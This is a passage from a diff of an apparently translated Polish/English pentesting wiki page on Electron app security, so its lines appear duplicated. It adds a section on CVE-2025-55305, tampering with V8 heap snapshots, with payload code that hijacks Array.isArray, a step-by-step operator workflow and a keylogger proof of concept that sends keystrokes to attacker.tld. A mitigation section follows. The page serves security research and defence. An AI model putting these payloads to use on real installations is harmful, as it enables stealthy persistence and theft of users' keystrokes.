Zwykle jest **konfigurowany** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP wewnątrz **tagu meta**. Zazwyczaj **konfiguruje się** ją w pliku `main.js` lub w szablonie `index.html` z CSP wewnątrz **meta tagu**.
Aby uzyskać więcej informacji, sprawdź: For more information check:
{{#ref}} {{#ref}}
@ -398,18 +401,18 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}} {{#endref}}
## **Narzędzia** ## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikacji błędów konfiguracyjnych i wzorców antybezpieczeństwa w aplikacjach opartych na Electron. - [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikowania błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to otwarty plugin VS Code dla aplikacji Electron, który wykorzystuje Electronegativity. - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open sourceowy plugin do VS Code dla aplikacji Electron, wykorzystujący Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek stron trzecich. - [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek third party
- [**Electro.ng**](https://electro.ng/): Musisz go kupić. - [**Electro.ng**](https://electro.ng/): Wymaga zakupu
## Laboratoria ## Labs
W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) możesz znaleźć laboratorium do eksploatacji podatnych aplikacji Electron. W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) znajdziesz lab do eksploatacji podatnych aplikacji Electron.
Niektóre polecenia, które pomogą Ci w laboratorium: Kilka poleceń, które pomogą Ci w labie:
```bash ```bash
# Download apps from these URls # Download apps from these URls
# Vuln to nodeIntegration # Vuln to nodeIntegration
@ -432,14 +435,127 @@ cd vulnerable1
npm install npm install
npm start npm start
``` ```
## **Referencje** ## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) CVE-2025-55305
Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electrons integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR.
Kluczowe punkty
- Luka integralności: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar walidują JavaScript aplikacji wewnątrz ASAR, ale nie obejmowały V8 heap snapshots (CVE-2025-55305). Chromium podobnie nie sprawdza integralności snapshotów.
- Warunki wstępne ataku: lokalne zapisanie pliku do katalogu instalacyjnego aplikacji. Jest to powszechne na systemach, gdzie Electron apps lub Chromium browsers są zainstalowane w ścieżkach zapisywalnych przez użytkownika (np. %AppData%\Local on Windows; /Applications with caveats on macOS).
- Efekt: niezawodne wykonanie attacker JavaScript w dowolnym isolate przez nadpisanie często używanego builtin (tzw. „gadget”), umożliwiając utrwalenie i unikanie weryfikacji code-signing.
- Powierzchnia ataku: Electron apps (nawet z włączonymi fuses) oraz przeglądarki oparte na Chromium, które ładują snapshoty z lokalizacji zapisywalnych przez użytkownika.
Generowanie złośliwego snapshotu bez budowania Chromium
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applications v8_context_snapshot.bin.
Przykładowy minimalny payload (potwierdź wykonanie wymuszając awarię)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Replace the applications v8_context_snapshot.bin with the generated file
const orig = Array.isArray;
// Use Array.isArray as a ubiquitous gadget
Array.isArray = function () {
// Executed whenever the app calls Array.isArray
throw new Error("testing isArray gadget");
};
```
Routing świadomy izolatu dla payload (uruchamianie innego kodu w main vs. renderer)
- Wykrywanie procesu głównego: Globalne zmienne dostępne tylko w Node, takie jak process.pid, process.binding(), lub process.dlopen, są obecne w izolacie procesu głównego.
- Wykrywanie przeglądarki/renderer: Globalne zmienne dostępne tylko w przeglądarce, takie jak alert, są dostępne przy uruchomieniu w kontekście dokumentu.
Przykładowy gadget, który jednorazowo bada możliwości Node w procesie głównym
```js
const orig = Array.isArray;
Array.isArray = function() {
// Defer until we land in main (has Node process)
try {
if (!process || !process.pid) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
// Run once
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
console.log('[payload] isArray hook started ...');
// Capability probing in main
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
process.exit(0);
}
return orig(...arguments);
};
```
Renderer/browser-context kradzież danych PoC (np. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
// Wait for a browser context
try {
if (!alert) {
return orig(...arguments);
}
} catch (_) {
return orig(...arguments);
}
if (!globalThis._invoke_lock) {
globalThis._invoke_lock = true;
setInterval(() => {
window.onkeydown = (e) => {
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
}
}, 1000);
}
return orig(...arguments);
};
```
Przepływ pracy operatora
1) Napisz payload.js, który nadpisuje powszechny builtin (np. Array.isArray) i opcjonalnie rozgałęzia się per isolate.
2) Zbuduj snapshot bez źródeł Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Zastąp pliki snapshot docelowej aplikacji:
- v8_context_snapshot.bin (zawsze używany)
- browser_v8_context_snapshot.bin (jeśli użyty jest fuse LoadBrowserProcessSpecificV8Snapshot)
4) Uruchom aplikację; gadget wykona się za każdym razem, gdy wybrany builtin zostanie użyty.
Uwagi i rozważania
- Integrity/signature bypass: Pliki snapshot nie są traktowane jako natywne wykonywalne przez kontrole podpisu kodu i (historycznie) nie były objęte przez Electrons fuses ani kontrolami integralności Chromium.
- Persistence: Zastąpienie snapshotu w instalacji zapisywalnej przez użytkownika zwykle przetrwa restarty aplikacji i wygląda jak podpisana, legalna aplikacja.
- Chromium browsers: Ta sama koncepcja manipulacji ma zastosowanie do Chrome/derivatives zainstalowanych w lokalizacjach zapisywalnych przez użytkownika. Chrome ma inne mechanizmy ochrony integralności, ale wyraźnie wyłącza lokalne ataki fizyczne z modelu zagrożeń.
Wykrywanie i środki zaradcze
- Traktuj snapshoty jako zawartość wykonywalną i uwzględnij je w egzekwowaniu integralności (CVE-2025-55305 fix).
- Preferuj lokalizacje instalacji zapisywalne tylko przez admina; ustal bazowe i monitoruj hashe dla v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
- Wykrywaj nadpisania builtinów we wczesnym czasie uruchomienia i nieoczekiwane zmiany snapshotu; generuj alert, gdy deserializowane snapshoty nie pasują do oczekiwanych wartości.
## **References**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) - [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) - [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) - [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) - [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) - [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Więcej badań i artykułów na temat bezpieczeństwa Electron w [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) - More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) - [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) - [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)